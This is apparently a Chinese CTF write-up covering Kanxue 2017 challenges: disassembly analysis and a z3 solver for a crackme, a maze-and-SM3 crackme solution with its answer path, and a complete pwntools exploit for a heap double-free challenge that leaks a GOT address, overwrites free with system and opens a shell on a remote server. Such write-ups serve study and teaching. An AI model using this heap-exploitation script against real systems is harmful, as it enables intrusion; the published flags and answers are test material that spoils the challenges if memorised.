看雪的ctf 以逆向和pwn为主,持续更新,希望能跟下去把
第一题 Helllo-CTF
明文,不详解
第二题 ctf2017_Fpc
讲道理第二题出得很没有道理,
输入后的两个call 并没有什么用 干扰视线
在text段有一段shellcode,构造9876543210ab11A的输入可以跳转到该shellcode上,这是一段很花很花的东西

跳转不看,我们将有用的汇编取出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
|
00413150 | 33 C0 | xor eax,eax | 00413184 | A3 34 B0 41 00 | mov dword ptr ds:[41B034],eax | 004131BA | 58 | pop eax | x ecx 004131EB | 8B C8 | mov ecx,eax | x 0041321F | 58 | pop eax | y ebx 00413254 | 8B D8 | mov ebx,eax | y 00413289 | 58 | pop eax | z edx 004132B5 | 8B D0 | mov edx,eax | z 004132AD | 8B D0 | mov edx,eax |
004132E2 | 8B C1 | mov eax,ecx | eax = ecx = x 00413316 | 2B C3 | sub eax,ebx | eax = eax-ecx = x-y 00413349 | C1 E0 02 | shl eax,2 | eax = (x-y)<<2 00413380 | 03 C1 | add eax,ecx | eax = ((x-y)<<2)+ x 004133B5 | 03 C2 | add eax,edx | eax = ((x-y)<<2)+ x+z 004133E9 | 2D E2 17 F9 EA | sub eax,EAF917E2 | eax = ((x-y)<<2)+ x+z-0xEAF917E2
00413455 03C1 ADD EAX,ECX 00413489 2BC3 SUB EAX,EBX ; EAX=EAX-EBX=x-y 004134BF 8BD8 MOV EBX,EAX ; EBX=x-y 004134F3 D1E0 SHL EAX,1 ; EAX= (x-y)<<1 00413525 03C3 ADD EAX,EBX ; EAX=EAX+EBX= ((x-y)<<1)+(x-y) 00413559 03C1 ADD EAX,ECX ; EAX= ((x-y)<<1)+(x-y)+x 0041358F 8BC8 MOV ECX,EAX ; ECX=EAX 004135C3 03C2 ADD EAX,EDX ; EAX= ((x-y)<<1)+(x-y)+x+z 004135F7 2D C808F5E8 SUB EAX,0xE8F508C8 ; EAX= ((x-y)<<1)+(x-y)-0xE8F508C8 00413665 8BC1 MOV EAX,ECX ; EAX= ((x-y)<<1)+(x-y)+x 0041365D 8BC1 MOV EAX,ECX ; 004136A7 2BC2 SUB EAX,EDX ; EAX= EAX-EDX=((x-y)<<1)+(x-y)+x-z
esp: 0018FF48 00413835 ASCII "You get it!"
|
然后可以获取三个算式
我们使用z3求解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $ cat solve.py
from z3 import * x, y ,z = BitVecs('x y z', 64)
solve(((x - y) << 2) + x + z == 0xEAF917E2,((x - y) << 1) + (x - y) + x + z == 0xE8F508C8,((x - y) << 1) + (x - y) + x - z == 0x0C0A3C68)
$ python solve.py [z = 1853187632, y = 1919903280, x = 1953723722]
|
flag: Just0for0fun11A
第三题 crackMe

运行程序,能看到是有gui的,查找import

能找到GetDlgItemTextA这个是一个处理窗口消息的函数

我们通过交叉引用,可以找到程序的关键流程


基本的流程就是:读取用户收入信息。然后做两次base64编码,再用国密算法SM3计算一个hash。计算完hash之后转换成16进制。然后将Hash值的后64位和用户输入进行比较。

然后程序的下一个流程 会到一个迷宫游戏

能看到迷宫地图
1 2 3 4 5 6 7 8 9 10
| 0 1 1 1 1 1 1 1 1 0 0 0 1 1 1 1 1 0 0 0 1 0 0 0 0 0 1 0 1 1 1 1 1 1 1 0 1 0 0 1 1 0 0 0 1 0 1 0 0 1 1 0 1 0 0 0 1 0 1 1 1 0 1 1 1 1 1 0 0 1 1 0 0 0 0 1 1 1 0 0 1 1 1 1 0 0 0 0 1 0 1 1 1 1 1 1 1 0 0 0
|
其中的0为可行路径。题目中,替换后的输入字符为q z分别表示向上一行和向下一行;p l分别表示向左一格和向右一格。
[3,8]为死路。若输入为\x20,则结束,返回True;若走错,则返回False,验证失败。
这里并没有对路径完成量进行约束,也产生了多解可能。这里,我们为简化,可以直接让替换后的第一个字符为\x20。
总是所述,正确的答案行走路线是:
zlzllllzzzppqppzzzlllzlllzllqqpqpqqqqqllq
然后根据上面分析到的结果进行逆运算。它的摩尔斯码如下:
1
| --.. .-.. --.. .-.. .-.. .-.. .-.. --.. --.. --.. .--. .--. --.- .--. .--. --.. --.. --.. .-.. .-.. .-.. --.. .-.. .-.. .-.. --.. .-.. .-.. --.- --.- .--. --.- .--. --.- --.- --.- --.- --.- .-.. .-.. --.-/
|
将上述结果进行2次base64编码
最后在末尾附加hash值(就是SM3加密之后的值)就是答案
第四题 club_pwn
double free
我的简单分析 https://bbs.pediy.com/thread-222421.htm
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180
|
from pwn import * from ctypes import *
context.log_level = 'debug' context.terminal =['tmux','splitw','-h']
if len(sys.argv) >1: debug = False else: debug = True if debug: libc= CDLL('/lib/x86_64-linux-gnu/libc.so.6') lib = ELF('/lib/x86_64-linux-gnu/libc.so.6') io = process('club')
else: libc = CDLL('libc.so.6') lib = ELF('libc.so.6') io = remote('123.206.22.95',8888)
system_offset = lib.symbols['system'] binsh_offset = lib.search('/bin/sh').next() free_offset = lib.symbols['free']
log.info("system_offset:0x%x" % system_offset) log.info("binsh_offset:0x%x" % binsh_offset) log.info("free_offset: 0x%X" % free_offset)
def get_a_box(index,size): io.recvuntil('>') io.sendline(str('1')) io.recvuntil('>') io.sendline(str(index)) io.recvuntil('>') io.sendline(str(size))
def destory_a_box(index): io.recvuntil('>') io.sendline(str('2')) io.recvuntil('>') io.sendline(str(index))
def leave_me_a_message(index,message): io.recvuntil('>') io.sendline(str('3')) io.recvuntil('>') io.sendline(str(index)) time.sleep(1) io.sendline(message)
def show_message(index): io.recvuntil('>') io.sendline(str('4')) io.recvuntil('>') io.sendline(str(index))
def guess_a_randnum(num):
io.recvuntil('>') io.sendline(str('5')) io.recvuntil('>') io.sendline(str(num))
def guess_seed(num): for i in xrange(0x148,0x7ffff000,0x1000): libc.srand(i) randnum = int(libc.rand()) if randnum == int(num): return libc.rand() print 'seed' ,i return 0
guess_a_randnum(str(0)) n = io.recvuntil('is ') num = io.recvuntil('!')[:-1] print '[*]rand1='+num
a=guess_seed(num)
guess_a_randnum(a)
io.recvuntil('You get a secret:') seed_addr = int(io.recvuntil('!')[:-1])
log.info("seed_addr: 0x%x" % int(seed_addr))
free_got_addr = seed_addr-0x202148+0x202018 p_addr = seed_addr-0x202148+0x202110
log.info('free_got_addr:'+hex(free_got_addr))
fake_fd = p64(p_addr-0x18) fake_bk = p64(p_addr-0x10)
get_a_box(1,0x30) get_a_box(2,0x100) get_a_box(3,0x110) raw_input('get 3 box')
raw_input('destory_2_box') destory_a_box(2) destory_a_box(3) pause() fake_fd = p64(p_addr-0x18) fake_bk = p64(p_addr-0x10)
payload = p64(0)+p64(0x101)+fake_fd+fake_bk+'A'*(0x100-0x20)+p64(0x100)+p64(0x220-0x100) raw_input('off by one to leak ') raw_input('get 4 box size 0x220') get_a_box(4,0x220) raw_input('fill the 4 box') leave_me_a_message(4,payload) raw_input('destory_3_box') destory_a_box(3) raw_input('leak got addr')
log.info('leaking address...') leave_me_a_message(2,p64(1)+p64(1)+p64(free_got_addr)) raw_input('leakk.......')
raw_input('leak free addr') show_message(1) pause() free_addr = u64(io.recvuntil('You have 6 operation :')[1:7]+'\x00'*2)
pause() system_addr = int(free_addr)-free_offset+system_offset log.info('system address:'+hex(system_addr)) gdb.attach(io) raw_input('get shell~~~~~~') leave_me_a_message(1,p64(system_addr)) pause() leave_me_a_message(3,'/bin/sh') raw_input('unlink to get shell') destory_a_box(3) pause()
io.interactive()
|
// EXTERNAL_CHANNEL
评论